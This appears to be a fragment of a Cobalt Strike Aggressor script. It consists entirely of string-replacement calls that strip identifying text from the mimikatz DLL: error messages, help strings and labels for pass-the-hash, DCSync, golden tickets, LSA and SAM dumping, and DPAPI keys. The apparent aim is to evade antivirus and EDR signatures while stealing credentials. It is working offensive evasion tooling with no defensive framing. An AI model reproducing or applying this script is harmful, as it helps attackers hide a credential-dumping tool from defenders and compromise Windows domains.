$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth_luid ; memory handle is not KULL_M_MEMORY_TYPE_PROCESS", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "\\_ kerberos -", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "\\_ msv1_0 -", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "| LUID", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth_luid ; NtQueryObject:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth_luid ; OpenProcess", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "is now R/W", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "was already R/W", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "| LSA Process", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; Missing at least one argument : ntlm/rc4 OR aes128 OR aes256", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; Bas user or LUID", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; CreateProcessWithLogonW", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; OpenProcessToken", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; GetTokenInformation", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; DuplicateTokenEx", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; SetThreadToken", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "** Token Impersonation **", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "| TID %u", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "| PID %u", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", ": replacing NTLM/RC4 key in a session", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; ntlm hash/rc4 key length must be 32 (16 bytes)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; AES256 key only supported from Windows 8.1 (or 7/8 with kb2871997)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; AES256 key length must be 64 (32 bytes)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; AES128 key only supported from Windows 8.1 (or 7/8 with kb2871997)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; AES128 key length must be 32 (16 bytes)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; Missing argument : user", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_pth ; Missing argument : domain", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "impers.", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "luid", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "SID :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Logon Time :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Logon Server :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Domain :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "User Name :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Session :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Authentication Id :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Unknown !", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; Memory opening", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; Local LSA library failed", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; Key import", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "candidate keys found", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " > SecureKernel stream found in minidump (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "bytes)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump without SystemInfoStream (?)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->ProcessorArchitecture (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "!= PROCESSOR_ARCHITECTURE_AMD64 (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_acquireLSA ; LSASS process not found (?)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "file for minidump...", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Opening :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "SekurLSA module", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "List Credentials Manager", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "List Cached MasterKeys", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "List Kerberos Encryption Keys", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "List Kerberos tickets", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Preferred Backup Master keys", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Antisocial", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "DPAPI_SYSTEM secret", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "dpapisystem", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "krbtgt!", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Pass-the-hash", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Switch (or reinit) to LSASS minidump context", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Lists CloudAp credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Switch (or reinit) to LSASS process context", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Lists all available providers credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "List SSP credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Lists LiveSSP credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Lists TsPkg credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Lists Kerberos credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Lists WDigest credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Lists LM & NTLM credentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Some commands to enumerate credentials...", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Try to decrypt", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Try to sign", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Try do decrypt a PIN Protector", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Verify Name for:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "SessionKey:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "pNC->Name:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "pNC->Sid :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "pNC->Guid:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ulExtendedOp:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "cMaxBytes :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "cMaxObjects :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcshadow_encode_sensitive_value ; Unexpected hash len", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcshadow_encode_sensitive_value ; RtlEncryptNtOwfPwdWithIndex", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "(not an object GUID)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Link to key with GUID:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "** TRUSTED DOMAIN - Antisocial **", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "BCKUPKEY_PREFERRED Secret", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "BCKUPKEY_P Secret", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "BCKUPKEY_", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Unknown data :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Last change:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Password :", "pwd:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Partner :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "LAPS:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Credentials:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Object Relative ID :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Object Security ID :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "SID history:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Password last change :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Account expiration :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "User Account Control :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Account Type :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "User Principal Name :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "SAM Username :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "** SAM ACCOUNT **", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Key Package : [", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Key Package Size :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "byte(s)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Recovery Password :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Recovery GUID (fake) :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Recovery GUID :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Volume GUID :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "** BITLOCKER RECOVERY INFORMATION **", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Object RDN :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync_descrObject_csv ; RtlDecryptNtOwfPwdWithIndex", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync_decrypt ; RtlDecryptNtOwfPwdWithIndex/RtlDecryptLmOwfPwdWithIndex", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Hash ", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync_SearchAndParseLDAPToIntId ; ldap_search_s 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync_SearchAndParseLDAPToIntId ; More than one entry?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync_SearchAndParseLDAPToIntId ; No values?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[ldap]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync ; Domain not present, or doesn't look like a FQDN", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync ; Domain Controller not present", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync ; Missing user or guid argument", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync ; RPC Exception 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync ; GetNCChanges: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync ; DRSGetNCChanges, invalid dwOutVersion (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", ") and/or cNumObjects (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_lsadump_dcsync ; kull_m_rpc_drsr_ProcessGetNCChangesReply", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[DC] ms-DS-ReplicationEpoch is:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "will be the user account", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[DC] Object with GUID", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[DC] Exporting domain", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Revert to proces token", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Impersonation", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Identification", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Anonymous", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Run!", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Impersonate a token", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "List all tokens of the system", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Display current identity", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "CdcServer", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "UasServer", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "TrustedDomain", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[DC]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "TrustedDnsDomain", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Export :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Unknown key (seen as", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Legacy key", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "PFX container :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Out-1", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "In-1", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "unknown?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Random Value :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "OlderCredentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Default Iterations :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Default Salt :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "OldCredentials", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Default Salt :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "NTLM-Strong-NTOWF", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Kerberos-Newer-Keys", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Supplemental Credentials:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "LsaDump module", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Skew1", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Ask a DC to send current and previous NTLM hash of DC/SRV/WKS", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Ask a server to set a new password/ntlm for one user", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Ask a DC to synchronize an object", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Ask LSA Server to retrieve SAM/AD entries (normal, patch on the fly or inject)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Get the SysKey to decrypt NL\$KM then MSCache(v2) (from registry or hives)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Get the SysKey to decrypt SECRETS entries (from registry or hives)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Get the SysKey to decrypt SAM entries (from registry or hives)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_crypto_exportKeyToFile ; kull_m_file_writeData (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_crypto_exportKeyToFile ; No suitable export type for key group:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_crypto_exportKeyToFile ; NCryptExportKey", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "-- init):", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "-- data):", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_crypto_exportKeyToFile ; kull_m_string_EncodeB64_headers (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "PRIVATE KEY", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Algorithm Group", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_crypto_exportKeyToFile ; CryptExportKey(init) (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_crypto_exportKeyToFile ; CryptExportKey(data) (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Private export :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_crypto_exportRawKeyToFile ; kull_m_file_writeData (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "KO -", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "OK -", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Private raw export :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_crypto_exportRawKeyToFile ; CryptImportKey (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Key permissions:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "|Unique name :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "|Key Container :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "|Provider name :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "LSA isolation :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Exportable key :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Export policy :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Key size :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Algorithm :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Algorithm Name", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Unique name :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Unique Name", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Key Container :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "|Implementation:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Impl Type", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "|Provider name :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Provider Handle", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "(null)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[!%hu!]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[BOOL ]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[STRING]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[UINT64]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[INT64 ]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Id:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Entries[", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "SourceType:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Claims[", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_hash_data_raw ; CDLocateCSystem :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_hash_data_raw ; HashPassword :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden_data ; kuhl_m_kerberos_encrypt", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* KrbCred generated", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* EncTicketPart encrypted", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* EncTicketPart generated", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* PAC signed", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* PAC generated", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden ; Missing user argument", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden ; Missing domain argument", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden ; Domain name does not look like a FQDN", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden ; Missing krbtgt key argument (/rc4 or /aes128 or /aes256)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden ; Unable to locate CryptoSystem for ETYPE %u (error 0x%08x) - AES only available on NT6", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden ; Krbtgt key size length must be", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " bytes) for", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden ; BerApp_KrbCred error", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "kull_m_file_writeData (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_golden ;", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Final Ticket Saved to file !", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " successfully submitted for current session", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Golden ticket for", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "-> Ticket :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "** Pass The Ticket **", "");
